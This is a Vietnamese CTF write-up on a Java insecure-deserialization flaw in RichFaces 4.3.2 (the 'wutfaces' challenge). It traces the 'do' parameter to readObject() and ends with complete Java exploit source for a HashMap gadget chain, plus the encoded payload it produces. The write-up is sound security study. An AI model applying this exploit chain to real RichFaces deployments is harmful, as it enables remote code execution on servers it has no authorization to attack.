# Requirement - Java serialize https://www.youtube.com/watch?v=rX2YQOs9y6A&list=PLlrATfBNZ98cCfmH0xPebdVVMSYRQfyKi&index=5 - Java reflection Reflection in java: đây là 1 API của java, cho phép truy xuất, sửa đổi hành vi của method, field, class, interfaces. Do vậy việc tìm hiểu và viết được gadgetchain phụ thuộc rất nhiều vào cái Java Reflection. (for more detail: https://www.geeksforgeeks.org/reflection-in-java/) https://www.youtube.com/watch?v=bhhMJSKNCQY # Build lab Source code lấy [từ đây](https://firebasestorage.googleapis.com/v0/b/blog-resources-3df04.appspot.com/o/ctf_wutfaces_resources.zip?alt=media&token=041ca951-b2fc-4dc9-a8e9-484639cff28d.) ### 1. Giải nén file .war để lấy source code cũng như các lib,... ```bash= jar -xvf wutfaces-1.0.1-SNAPSHOT.war ``` ![image](https://hackmd.io/_uploads/rkcYJU0uR.png) ### 2. Tạo project bằng `IntelliJ IDEA` và chạy `Tomcat Server` ![image](https://hackmd.io/_uploads/BkVcgLRO0.png) ### 3. Chọn file war để deploy ![image](https://hackmd.io/_uploads/SJy--8AuR.png) ### 4. Thêm lib ![image](https://hackmd.io/_uploads/Sy9CK8A_R.png) ### 4. Chạy thử ![image](https://hackmd.io/_uploads/Hkh7WL0dC.png) # Tìm kiếm lỗ hổng - Kiểm tra file `pom.xml` xem các framework được sử dụng trong project ```java <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> <richfaces.version>4.3.2.Final</richfaces.version> </properties> ``` - Tìm kiếm `richfaces version 4.3.2` và ta có lỗ hổng `java insecure deserialization` https://security.snyk.io/vuln/SNYK-JAVA-ORGRICHFACESCORE-30150 - Lỗ hổng xảy ra ở `org.richfaces.core:richfaces-core-impl` - Truy cập vào `richfaces4/core` và diff 2 bản `4.3.3 thấp nhất` và `4.3.2 final` ![image](https://hackmd.io/_uploads/H1IS4I0OC.png) - Nhận thấy từ file `impl/src/main/java/org/richfaces/util/Util.java` đã bị sửa tại hàm `decodeObjectData` và file `impl/src/main/java/org/richfaces/util/ObjectInputStreamImpl.java` bị xóa bỏ ```java= public static Object decodeObjectData(String encodedData) { byte[] objectArray = decodeBytesData(encodedData); try { |-| ObjectInputStream in = new ObjectInputStreamImpl(new ByteArrayInputStream(objectArray)); |+| ObjectInputStream in = new LookAheadObjectInputStream(new ByteArrayInputStream(objectArray)); return in.readObject(); } catch (StreamCorruptedException e) { RESOURCE_LOGGER.error(Messages.getMessage(Messages.STREAM_CORRUPTED_ERROR), e); ``` => Xác định đây là hàm gây ra lỗi ###### Note: Tại hàm `impl/src/main/resources/org/richfaces/resource/resource-serialization.properties` ```java= + whitelist = javax.faces.application.Resource,javax.el.Expression,org.richfaces.resource.SerializableResource,javax.faces.component.StateHolderSaver ``` # Phân tích 1 days - Sử dụng `Ctrl + N` để tìm kiếm class có tên Util (chính là class `impl/src/main/java/org/richfaces/util/Util.java` đã bị sửa đổi ở bản này) ![image](https://hackmd.io/_uploads/Bk3QcLAOR.png) - Dùng `Ctrl + F12` để list các hàm được dùng ở class này ![image](https://hackmd.io/_uploads/B1D05IR_A.png) - Tìm kiếm hàm `decodeObjectData()` ![image](https://hackmd.io/_uploads/Syh4yDRu0.png) Hàm này sẽ gọi đến `Object.readObject()` của ta và gọi đến `HashMap.readObject()` - Vậy ta đã có source của chain này là ```java= org.richfaces.util.Util.decodeObjectData() ``` - Tiến hành `attach source code` và nhấn `Ctrl + trỏ chuột` vào hàm để xem các hàm được call từ những vị trí nào ``` ResourceRequestData data = resourceCodec.decodeResource(context, resourcePath); org.richfaces.resource.ResourceHandlerImpl#handleResourceRequest org.richfaces.resource.ResourceFactoryImpl#createResource(context, data) org.richfaces.resource.DefaultCodecResourceRequestData#getData org.richfaces.util.Util#decodeObjectData ``` - Tại phần `org.richfaces.resource.ResourceHandlerImpl` chính là xử lý request tại url `/rfRes/` có tại burp request mà ta control được ![image](https://hackmd.io/_uploads/r1KSuPCuA.png) - Ta thấy rằng: ```java resource = resourceFactory.createResource(context, data); ``` - Lấy data từ ```java ResourceRequestData data = resourceCodec.decodeResource(context, resourcePath); ``` - Kiểm tra hàm `decodeResource()` ![image](https://hackmd.io/_uploads/SyrYiP0_C.png) hàm này sẽ lấy param `DATA_OBJECT_PARAM` để `etDataSerialized` chúng và chính là param `do` ![image](https://hackmd.io/_uploads/SJNlhPRdR.png) -> Input người dùng đến khi được deserialize của chúng ta sẽ chạy như sau: ``` String objectDataString = params.get(DATA_OBJECT_PARAM); >> ResourceRequestData data = resourceCodec.decodeResource(context, resourcePath); >> org.richfaces.resource.ResourceHandlerImpl#handleResourceRequest >> org.richfaces.resource.ResourceFactoryImpl#createResource(context, data) >> org.richfaces.resource.DefaultCodecResourceRequestData#getData >> org.richfaces.util.Util#decodeObjectData >> in.readObject() ``` # Xây dựng POC - Tìm kiếm sink và dễ thấy nó tồn tại ở class `BookHolder.hashCode()` ![image](https://hackmd.io/_uploads/B1oDeD0uA.png) - Vậy muốn kích hoạt `BookHolder.hashCode()` thì ta cần trigger `Object.hashCode()` của class `HashMap` ![image](https://hackmd.io/_uploads/S1qJ_KlF0.png) - Tại class `HashMap` có func `hashCode()` và nó được gọi tại `hash(Object key)` với key chính là một Object ![image](https://hackmd.io/_uploads/r1JKOtxFR.png) ![image](https://hackmd.io/_uploads/Hys3_YxYA.png) - Tìm kiếm các func có sử dụng `hash(Object key)`, ta có tìm thấy `java.util.HashMap.readObject()` mà chính tại nơi code bị sửa cũng gọi đến `readObject()` ![image](https://hackmd.io/_uploads/BydgATxYC.png) - Đây cũng là gadget chain đã được nêu ra tại `#1. URLDNS` đã được anh @Jang viết [tại đây](https://sec.vnpt.vn/2020/02/co-gi-ben-trong-cac-gadgetchain/#:~:text=trong%20c%C3%A1c%20gadgetchain.-,%231.%20URLDNS,-C%C3%A1ch%20ho%E1%BA%A1t%20%C4%91%E1%BB%99ng) - Ta có gadget chain exploit như sau: ``` ObjectInputStream.readObject() HashMap.readObject() HashMap.hash() BookHolder.hashCode() ``` - Ta sẽ tạo 1 project mới có tree như sau: ```bash= C:. ├───.idea │ └───libraries ├───out │ └───production │ └───untitled │ └───com │ └───tint0 │ └───wutfaces └───src └───com └───tint0 └───wutfaces ``` - Thực hiện việc add lib để sử dụng ![image](https://hackmd.io/_uploads/B1NRXYetC.png) - Tạo Object BookHolder: ```java= String LOG_COMMAND = "calc"; com.tint0.wutfaces.BookHolder bh = new com.tint0.wutfaces.BookHolder(); Field cmd = Class.forName("com.tint0.wutfaces.BookHolder").getDeclaredField("LOG_COMMAND"); cmd.setAccessible(true); cmd.set(bh, LOG_COMMAND); ``` Tạo `Object BookHolder` và dùng `java reflection` để đặt lệnh lên tham số `LOG_COMMAND` - Đưa giá trị của `BookHolder` vào `Object HashMap làm key` và `value` - `bất kỳ` ```java= HashMap hm = new HashMap(); hm.put(bh, "aaa"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); try (ObjectOutputStream oos = new ObjectOutputStream(baos)) { oos.writeObject(hm); } ``` - Trước khi đưa chuỗi input về dạng byte, `org.richfaces.util.Util.decodeBytesData` đã được gọi để decode từ String sang byte, vì vậy ta cần gọi lại `org.richfaces.util.Util.encodeBytesData` để có chuỗi đầu vào hợp lệ có thể decode đúng với Object ```java= byte[] serializedBytes = baos.toByteArray(); String encodedString = encodeBytesData(serializedBytes); System.out.println(encodedString); ``` - Full source exploit của ta sẽ như sau: ```java= import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import static org.richfaces.util.Util.encodeBytesData; public class Exploit { public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException { String LOG_COMMAND = "calc"; com.tint0.wutfaces.BookHolder bh = new com.tint0.wutfaces.BookHolder(); Field cmd = Class.forName("com.tint0.wutfaces.BookHolder").getDeclaredField("LOG_COMMAND"); cmd.setAccessible(true); cmd.set(bh, LOG_COMMAND); HashMap hm = new HashMap(); hm.put(bh, "aaa"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); try (ObjectOutputStream oos = new ObjectOutputStream(baos)) { oos.writeObject(hm); } byte[] serializedBytes = baos.toByteArray(); String encodedString = encodeBytesData(serializedBytes); System.out.println(encodedString); } } ``` - Kết quả thu được ```bash= "C:\Program Files\Java\jdk1.8.0_65\bin\java.exe" "-javaagent:C:\Program Files\JetBrains\IntelliJ IDEA 2024.1.4\lib\idea_rt.jar=5952:C:\Program Files\JetBrains\IntelliJ IDEA 2024.1.4\bin" -Dfile.encoding=UTF-8 -classpath "C:\Program Files\Java\jdk1.8.0_65\jre\lib\charsets.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\deploy.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\ext\access-bridge-64.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\ext\cldrdata.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\ext\dnsns.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\ext\jaccess.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\ext\jfxrt.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\ext\localedata.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\ext\nashorn.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\ext\sunec.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\ext\sunjce_provider.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\ext\sunmscapi.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\ext\sunpkcs11.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\ext\zipfs.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\javaws.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\jce.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\jfr.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\jfxswt.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\jsse.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\management-agent.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\plugin.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\resources.jar;C:\Program Files\Java\jdk1.8.0_65\jre\lib\rt.jar;C:\Users\C4t_f4t\IdeaProjects\untitled\out\production\untitled;C:\Users\C4t_f4t\Desktop\ctf\ctf_wutfaces_resources11\ctf_wutfaces_resources\WEB-INF\lib\sac-1.3.jar;C:\Users\C4t_f4t\Desktop\ctf\ctf_wutfaces_resources11\ctf_wutfaces_resources\WEB-INF\lib\jstl-1.2.jar;C:\Users\C4t_f4t\Desktop\ctf\ctf_wutfaces_resources11\ctf_wutfaces_resources\WEB-INF\lib\guava-13.0.1.jar;C:\Users\C4t_f4t\Desktop\ctf\ctf_wutfaces_resources11\ctf_wutfaces_resources\WEB-INF\lib\jsf-api-2.1.7.jar;C:\Users\C4t_f4t\Desktop\ctf\ctf_wutfaces_resources11\ctf_wutfaces_resources\WEB-INF\lib\jsf-impl-2.1.7.jar;C:\Users\C4t_f4t\Desktop\ctf\ctf_wutfaces_resources11\ctf_wutfaces_resources\WEB-INF\lib\cssparser-0.9.5.jar;C:\Users\C4t_f4t\Desktop\ctf\ctf_wutfaces_resources11\ctf_wutfaces_resources\WEB-INF\lib\richfaces-core-api-4.3.2.Final.jar;C:\Users\C4t_f4t\Desktop\ctf\ctf_wutfaces_resources11\ctf_wutfaces_resources\WEB-INF\lib\richfaces-core-impl-4.3.2.Final.jar;C:\Users\C4t_f4t\Desktop\ctf\ctf_wutfaces_resources11\ctf_wutfaces_resources\WEB-INF\lib\richfaces-ui-core-ui-4.3.2.Final.jar;C:\Users\C4t_f4t\Desktop\ctf\ctf_wutfaces_resources11\ctf_wutfaces_resources\WEB-INF\lib\richfaces-ui-core-api-4.3.2.Final.jar;C:\Users\C4t_f4t\Desktop\ctf\ctf_wutfaces_resources11\ctf_wutfaces_resources\WEB-INF\lib\richfaces-ui-common-ui-4.3.2.Final.jar;C:\Users\C4t_f4t\Desktop\ctf\ctf_wutfaces_resources11\ctf_wutfaces_resources\WEB-INF\lib\richfaces-ui-common-api-4.3.2.Final.jar" Exploit eAFb85aBtbiIQTArsSxRr7QkM0fPI7E4wzexgJX91sHDYgkXmRmY3Bi4cvITU9wSk0vyizwZOEsyilKLM!JzUioK7B0YQICnnANICgAxI9Aw2eT8XL2SzLwSA73y0pK0xOTUYj2n!PxsD6CW1KJTWlvWbpV7coeJgdmTgS0JKO6Z4sPA7ePvHu!s7-vr6OdSwiDkA3KPfk5iXrp-cElRZl66tQ8DJ0htSGZJTmohQx0Dc0UByOYSBpbkxJzkghIG5sTExAoAbhQ!2Q__ Process finished with exit code 0 ``` - Thêm param `do` với giá trị được tạo và trigger thành công ![image](https://hackmd.io/_uploads/HyH57CgFA.png) ## Bài học rút ra - Một số hàm không an toàn tại các lib version cao hơn đã được patch nên ta cần kiểm tra xem các version được hỗ trợ, nếu tìm ra lỗi sẽ được tính `CVE` - `java.util.HashMap#get` JDK 8 ![image](https://hackmd.io/_uploads/S1088AltA.png) - `java.util.HashMap#get` JDK 22 ![image](https://hackmd.io/_uploads/HJlhU0gK0.png) - Cần import được lib tại `External Libraries` để sử dụng (Nếu lỗi không thêm được thì phải tạo project mới để viết exploit) - Ngồi ngâm lâu sẽ học hỏi được nhiều điều khác, không chỉ mỗi target là hiểu về CVE đó # Reference https://sec.vnpt.vn/2020/02/co-gi-ben-trong-cac-gadgetchain/ https://viblo.asia/p/java-deserialization-write-up-matesctf-2018-wutfaces-Eb85oekBZ2G